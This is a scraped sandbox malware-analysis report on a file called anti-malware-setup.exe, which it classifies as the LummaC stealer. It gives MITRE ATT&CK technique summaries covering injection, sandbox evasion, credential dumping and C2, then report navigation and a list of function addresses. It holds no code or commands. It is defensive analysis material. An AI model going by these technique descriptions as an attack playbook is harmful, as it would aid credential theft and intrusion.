Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report anti-malware-setup.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

Windows Analysis Report
anti-malware-setup.exe

Function 00436C90 Relevance: 30.4, APIs: 11, Strings: 6, Instructions: 640
memorycomCOMMON

Function 0040D5FD Relevance: 24.3, APIs: 1, Strings: 15, Instructions: 332
COMMON

Function 004165E4 Relevance: 14.6, APIs: 1, Strings: 7, Instructions: 573
COMMON

Function 004227F6 Relevance: 14.0, Strings: 11, Instructions: 240
COMMON

Function 004085E0 Relevance: 7.7, APIs: 5, Instructions: 220
threadCOMMON

Function 004206D0 Relevance: 5.5, Strings: 4, Instructions: 546
COMMON

Function 0042AF9F Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65
COMMON

Function 00409B20 Relevance: 2.6, Strings: 2, Instructions: 105
COMMON

Function 0042AF24 Relevance: 1.8, APIs: 1, Instructions: 317
COMMON

Function 0042B4E1 Relevance: 1.8, APIs: 1, Instructions: 283
COMMON

Function 0043B800 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 64
memoryCOMMON

Function 00435112 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 58
COMMON

Function 0040C946 Relevance: 3.1, APIs: 2, Instructions: 120
COMMON